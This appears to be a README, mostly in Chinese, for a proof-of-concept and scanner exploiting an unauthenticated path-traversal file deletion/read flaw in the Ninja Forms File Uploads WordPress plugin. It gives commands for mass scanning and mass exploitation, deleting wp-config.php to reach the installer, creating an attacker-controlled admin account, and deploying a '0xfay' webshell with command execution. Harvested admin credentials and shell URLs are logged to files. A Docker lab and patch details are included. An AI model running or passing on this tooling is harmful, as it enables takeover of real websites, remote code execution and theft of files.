
针对 CVE-2026-126537 的 PoC 与扫描器,该漏洞是 Ninja Forms File Uploads <= 3.3.36 中的未认证路径遍历文件删除/读取漏洞,包含接管流程和 Docker 实验环境。
通过公开的 Ninja Forms 提交中的 files[].data.file_path,并设置 extra.saveProgress 触发,实现未认证的任意文件删除(以及任意文件读取)。
| 安全公告 | WPScan vdb c2acd746-84cd-4233-8ac5-d7fc73179ca0(发布于 2026-11-11) |
| CVSS | 9.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H |
| CWE | CWE-22 |
| 受影响版本 | ninja-forms-uploads ≤ 3.3.36 |
| 修复版本 | 3.3.37(2026 年 11 月 2 日) |
| 研究者致谢 | daroo |
| 影响 | 删除 wp-config.php → 进入 WordPress 安装界面 → 接管站点;通过已配置的 S3 / Dropbox / Google Drive 存储桶读取任意可读文件 |
poc.py — 仅使用标准库,无依赖。
python3 poc.py # interactive menu (1 scan 2 exploit 3 mass-scan 4 mass-exploit 0 exit)
python3 poc.py --url https://target # non-destructive scan
python3 poc.py --url https://target --exploit --path /var/www/html/wp-config.php --wait 60
python3 poc.py --targets targets.txt --threads 20 --output hits.txt # mass scan
python3 poc.py --targets targets.txt --exploit --path /var/www/html/wp-config.php
实用标志:--page /contact(提示一个渲染该表单的页面)、-k(跳过 TLS
验证)、--wait(等待后台任务的秒数)、-v。
| 标签 | 含义 |
|---|---|
VULN | 版本 < 3.3.37 且服务器接受了客户端选择的 file_path |
VULN-VER-MISMATCH | 管道接受了客户端路径,而 readme 声称 ≥ 3.3.37 |
VULN+TAKEOVER | wp-config.php 确实已消失:/ 现在重定向到 setup-config.php |
VULN+QUEUED | 载荷已被接受并排队;后台任务在站点自身的 cron 上运行 |
PATCHED | 版本 ≥ 3.3.37 且载荷被拒绝 |
NO-SIGNAL | 载荷被拒绝,版本未知/过旧——没有连接的外部服务,或后台操作缺失 |
FORM-REJECTED | 表单的验证 / 验证码阻止了提交 |
BLOCKED | WAF 或边缘节点拒绝了该 POST |
TAKEOVER | 安装程序在操作员数据库上运行,管理员账户已创建且其会话已验证 |
TAKEOVER+SHELL | 管理员已创建且 0xfay webshell 已部署 + 命令执行已验证 |
TAKEOVER-NO-SHELL | 管理员已创建,shell 上传/验证失败 |
TAKEOVER-UNVERIFIED | 安装程序报告成功,但无法确认管理员会话 |
TAKEOVER-FAILED | 安装程序步骤被拒绝(数据库错误、已安装、被阻止) |
NOT-TAKEOVERABLE | 没有安装界面——wp-config.php 仍然存在(先运行 --exploit) |
NO-FORM / NO-NF-UPLOADS | 可见表面上没有可攻击的内容 |
evidence/sample-output.txt)# scan — host rentan (non-destruktif)
VULN-VER-MISMATCH | http://127.0.0.1:8091 | v3.3.37 form#2 field#5 accepted a client-chosen file_path
# scan — host sudah 3.3.37
PATCHED | http://127.0.0.1:8091 | v3.3.37 - fixed in 3.3.37
# exploit — job background sudah jalan di window --wait → hit penuh
VULN+TAKEOVER | http://127.0.0.1:8091 | wp-config.php deleted -> setup screen (/var/www/html/wp-config.php)
# exploit — job belum jalan (cron situs lambat/mati) → jujur, belum terhapus
VULN+QUEUED | http://127.0.0.1:8091 | /var/www/html/wp-config.php queued; background job had not run within 12s (...)
# mass
[=] 3 targets, 2 hit
退出码:0 = 至少有一个目标为 VULN*,2 = 其他情况(不要将退出码作为唯一信号)。
--takeover找不到 wp-config.php 的 WordPress 会在没有任何凭据的情况下运行其自身的安装程序。该工具针对操作员拥有的空数据库(可以是远程 MySQL)执行该序列,然后验证管理员会话:
$ python3 poc.py --url https://target --takeover --dbhost db.milikku.test --dbname wt --dbuser wt --dbpass '•••' --admin-user audit --admin-pass 'Audit!Pass2026' -v
setup screen confirmed (wp-config.php is gone)
wp-config.php written (installer connected to the operator database)
admin session check: administrator
TAKEOVER | https://target | admin 'audit' created on 'wt' (wp-config.php now points there)
前提条件:wp-config.php 已丢失(先运行 --exploit)并且您有一个目标可访问的空数据库。管理员激活后,通往 RCE 的路径是常规插件上传(已在实验室验证:uid=33(www-data));此工具止步于管理员——它本身不会上传任何内容。
newadmin.txt 与 shells.txt每个成功创建的管理员和每个成功植入的 shell 都会写入各自的文件(每次命中一行,每个会话带有 # run <时间> 头部,因此跨运行追加是安全的):
# newadmin.txt
http://target | user=audit | pass=Audit!Pass2026 | db=db.saya.test/wt prefix=w99e6040_ | admin-verified
# shells.txt
http://target/wp-content/plugins/nfu-a07a8978/nfu-a07a8978.php | user=audit2 | pass=Shell2xfay!2026 | uid=33(www-data) | marker=0xfay-bc36a4f718 | verified
Shell 是 0xfay shell(~/CVE-MEGAPACK/payloads/ws.php),作为插件载体发送(注入 Plugin Name: 头以使 WP 接受该 zip)。工具在写入行之前执行的验证:?id=1 返回标记,登录 p=<pass> 成功,且 ?c=id 返回 uid=…。
批量(单个 targets.txt):
$ python3 poc.py --targets targets.txt --takeover --rce --threads 10 --dbhost db.saya.test --dbname wt --dbuser wt --dbpass '•••' --admin-user audit --admin-pass 'Audit!Pass2026' --shell-pass 'Shell0xfay!2026'
[*] 3 targets, mode=takeover + shell, admins -> newadmin.txt, shells -> shells.txt
TAKEOVER+SHELL | https://t1 | admin 'audit' + shell deployed
NOT-TAKEOVERABLE | https://t2 | no setup screen: wp-config.php still present (run --exploit first)
[=] 3 targets, 1 hit, 1 admin, 1 shell -> newadmin.txt | shells.txt
每个目标使用随机表前缀(w<hex>_),因此多个安装可以
共享同一个数据库。标志:--admin-out / --shell-out 用于重命名文件。
此 CVE 本身未提供的是:写入/上传原语(见
CVE-2026-126537-report.md §9b)。读取侧也受限——桶中对象的 URL 为
使用站点凭据的 1 小时预签名,其消费者是管理页面,因此没有
桶访问权限的攻击者无法拉取外泄的文件。
它提交构造的载荷,探测路径位于 /tmp 下且不存在,并观察服务器是否装饰了我们的文件条目(external_locations、custom_path)。这些键由 NF_FU_External_Abstracts_Service::process_upload() 写入——即服务器使用了攻击者控制的 file_path 而非存储的路径。没有上传任何内容,也没有删除任何内容。
maybe_delete_server_file()→unlink()。
若两者都不满足,读取(上传到攻击者可见的 bucket)仍会发生,但本地文件会保留。/wp-cron.php(--wait)。cd lab
./setup.sh # build vulnerable variant, start containers, install WP, create form
./use.sh vuln # or: ./use.sh patched (restarts wp; opcache caches the symlink target)
./repro.sh # full evidence run -> ../evidence/lab-repro.txt
实验组件:mysql:8.0、wordpress:7.1.4-php8.3-apache(端口 127.0.0.1:8091)、
运行着一个微型 S3 兼容端点的 php:8.2-apache(s3fake/router.php),以便
插件的 S3 上传无需 AWS 即可成功。mu-plugins/nfu-lab-s3.php 通过预先填充插件的
静态客户端缓存,将插件的 S3 客户端指向该端点——插件代码本身未被改动。
make-vuln.py 通过精确回退 3.3.37 为 Issue #983 添加的三个防护(参见
../CVE-2026-126537-report.md §4)来构建补丁前变体。每次编辑都有断言,
因此不可能出现一个“存在漏洞”但暗中仍已修补的构建。
注意:实验环境的 WP 无法回环到其自身发布的端口,因此插件的异步
分发由 lab/runqueue.sh 提供,它向 admin-ajax.php 发出与插件
相同的请求(相同的 action、相同的服务器生成的 nonce)。
| 场景 | 结果 |
|---|---|
| 回退变体,金丝雀文件 | 已删除;内容已上传至 S3 端点(PUT /nfu-lab/<ts>-nfu-canary.txt,长度 7) |
回退变体,wp-config.php | 已删除;内容被窃取(5922 B);GET / → 302 /wp-admin/setup-config.php |
| 已发布的 3.3.37,金丝雀 | 未受影响;未创建队列条目;无 S3 请求 |
已发布的 3.3.37,wp-config.php | 未受影响;站点仍为 200 |
原始证据:evidence/lab-repro.txt。
ninja-forms-uploads 3.3.37+。extra.saveProgress 和
files[*][data][file_path] 的公开提交即为滥用——该字段自身的处理流程
从不会产生第二个字段。